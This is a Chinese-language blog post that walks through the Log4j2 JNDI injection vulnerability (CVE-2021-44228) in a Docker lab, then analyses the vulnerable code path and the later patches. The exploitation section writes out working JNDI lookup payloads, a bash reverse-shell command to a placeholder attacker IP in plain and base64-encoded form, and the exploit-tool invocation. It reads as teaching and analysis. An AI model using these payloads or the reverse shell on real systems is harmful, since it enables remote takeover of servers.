CVE-2021-44228 Log4j2远程代码执行漏洞

CVE-2021-44228

一、漏洞介绍

1、洞基本信息

  • CVE编号:CVE-2021-44228
  • 漏洞类型:远程代码执行(RCE)
  • 影响版本:Apache Log4j2 2.0-beta9 至 2.14.119。
  • 风险等级:高风险(CVSS评分10.0),可导致服务器被完全控制

2、漏洞基本原理

核心机制

  • Log4j2的日志处理功能支持通过${}语法调用动态内容解析(Lookup功能)。攻击者可通过构造包含jndi:ldap://jndi:rmi://的恶意字符串(如${jndi:ldap://攻击者服务器/恶意类}),触发JNDI(Java命名和目录接口)解析。
  • JNDI注入:Log4j2在解析日志时,会通过JNDI从远程服务器加载恶意类(如LDAP/RMI服务),并在目标服务器上执行。
  • 利用链:攻击者需搭建恶意LDAP/RMI服务器,托管包含恶意代码的.class文件,通过日志记录触发目标服务器加载并执行该文件。

技术细节

  • 关键代码路径:MessagePatternConverter类的format方法解析日志中的${}语法,调用StrSubstitutor递归处理变量,最终通过lookup()方法加载远程资源。

二、环境搭建

使用docker搭建vulfocus的漏洞靶场:

docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest

浏览器访问127.0.0.1,部署成功

Linux攻击机

我使用的是一台VPS,其IP在本文中以111.111.11.111代替
实验图片中显示的监听端口是1222,但是我在文本中使用1111代替
(究其原因就是懒了,不想再改)

三、DNSLog验证漏洞

通过DNSLog平台获取到域名ym0vhs.dnslog.cn
构造payload:${jndi:ldap://ym0vhs.dnslog.cn}
浏览器点击?????并使用Burpsuite进行抓包并替换payload参数,

传参时需要进行URL编码

在DNSLog网站成功接收到解析记录:

四、JNDI注入反弹shell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

使用方式如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

接下来我们构建反弹shell指令(与常用的构建方法一样)
详细构建方法可以参考我的另一篇blog:回显外带之反弹shell与DNSlog外带

bash -i >& /dev/tcp/111.111.11.111/1111 0>&1

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExLjExMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'
// 这里echo后的内容是是 bash -i >& /dex/tcp/111.111.11.111/1111 0>&1 的base64编码

编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定VPS的IP地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExLjExMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'" -A 111.111.11.111

并同时在新的终端监听端口

替换工具生成的payload:rmi://111.111.11.111:1099/xsbk0a 到Burpsuite
同样,我们要先拼接为完整的payload:

payload=${jndi:rmi://111.111.11.111:1099/xsbk0a}

URL编码后发送至靶机

监听窗口成功接收到反弹的shell,这样我们就获得了靶机终端的操作权限

五、原理分析与思考

1、基本原理介绍

1.1 Log4j2

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar
Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

1.2 Log4j2 Lookup

Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

下面是一个简单的Java Lookup例子和输出:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

public static void main(String[] args) {
    ThreadContext.put("userId", "test");
    LOGGER.error("userId: ${ctx:userId}");
}
}

从上面的例子可以看到,通过在日志字符串中加入${ctx:userId},Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似${type:var},即可以实现对变量var的引用。type可以是如下值:

  • ctx:允许程序将数据存储在 Log4j ThreadContext Map 中,然后在日志输出过程中,查找其中的值。
  • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}。
  • java:允许查找Java环境配置信息。例如:${java:version}。
  • jndi:允许通过 JNDI 检索变量。
    ……

其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。

1.3 JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。

例如使用数据库,需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI,可以将数据库相关的配置在一个支持JNDI服务的容器(通常Tomat等Web容器均支持)中统一完成,并暴露一个简洁的名称,该名称背后绑定着一个DataSource对象。各个应用只需要通过该名称和JNDI接口,获取该名称背后的DataSource对象。当然,现在SpringBoot单体发布模式,极少会使用这种方式了。

再举个更简单的例子,这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂,便于普通用户使用,背后真正对应的是一个复杂难记的IP,甚至还可能是多个IP。DNS即JNDI服务,域名即可用于绑定和查找的名称,IP即该名称绑定的真正对象。用现代可以类比的技术来说,JNDI就是一个对象注册中心。

JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。

下面是一个简单的例子:

public interface Hello extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}

@Override
public String sayHello(String from) throws java.rmi.RemoteException {
    System.out.println("Hello from " + from + "!!");
    return "sayHello";
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:1099”);
InitialContext context = new InitialContext();
context.bind(“java:hello”, new HelloImpl());
context.close();
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:1099”);
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup(“java:hello”);
System.out.println(rmiObject.sayHello(“world”));
context.close();
}
}

先运行HelloServer,再运行HelloClient,即可看到运行输出的结果:sayHello。

HelloServer将HelloImpl对象绑定到java:hello名称上。HelloClient使用java:hello名称,即可获取HelloImpl对象。

1.4 JNDI注入

Java JNDI注入原理研究
这是一篇讲解JNDI注入的文章,可供参考

2、漏洞原理

查看了诸位大佬的讲解,都是用Logger.error()方法来进行演示

那么,具体漏洞环境代码如下所示:

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

    public static void main(String[] args) {

        Logger logger = LogManager.getLogger(Log4jTEst.class);

        logger.error("${jndi:ldap://2lnhn2.ceye.io}");

    }
}

首先将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

这里整理了一下调用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中

MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符${的判断,而且是连着判断,等同于判断是否存在${,这三行代码中关键点在于最后一行

此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?
因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append
append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断:的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookuplookup方法,如下图所示

那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

说到这里,我们已经详细了解了logger.error()造成RCE的原理。

3、漏洞的多次修复

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出又被绕过的消息.同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2

详细讲解可参考这篇文章:Log4j 0day之rc1与rc2 有趣的绕过

简单来说:
log4j2-2.15.0-rc1采取了以下措施:

  • 默认禁用消息查找功能:在 MessagePatternConverter 类中,默认关闭了 ${} 语法的查找功能,防止在日志消息中解析并执行潜在的恶意查找语句。
  • 引入白名单机制:在 JndiManager 类中,增加了对协议和域名的白名单验证,仅允许特定的协议(如 java、ldap、ldaps)和受信任的域名进行 JNDI 查找操作,从而限制了不安全的外部资源加载。
  • 禁止加载远程代码库:在 JndiManager 中,禁止从远程服务器加载 Java 对象工厂(javaFactory),避免通过不受信任的代码库加载恶意类。

log4j2-2.15.0-rc2采取了以下措施:

  • 改进异常处理:在 JndiManager.lookup() 方法中,增加了对 URISyntaxException 异常的捕获。当捕获到该异常时,方法会直接返回 null,避免继续处理可能存在风险的 JNDI 查找请求。

六、参考文章

https://www.cve.org/CVERecord?id=CVE-2021-44228

https://www.anquanke.com/post/id/263325

https://www.anquanke.com/post/id/264176

https://logging.apache.org/log4j/2.x/manual/lookups.html

https://logging.apache.org/log4j/2.x/manual/layouts.html

https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg

https://blog.topsec.com.cn/java-jndi%e6%b3%a8%e5%85%a5%e7%9f%a5%e8%af%86%e8%af%a6%e8%a7%a3/

https://www.cnblogs.com/LittleHann/p/17768907.html#_label1

https://www.cnblogs.com/backlion/p/15686831.html

欢迎指正、交流 ~ ~ ~

作者:Jaren
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦 ~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇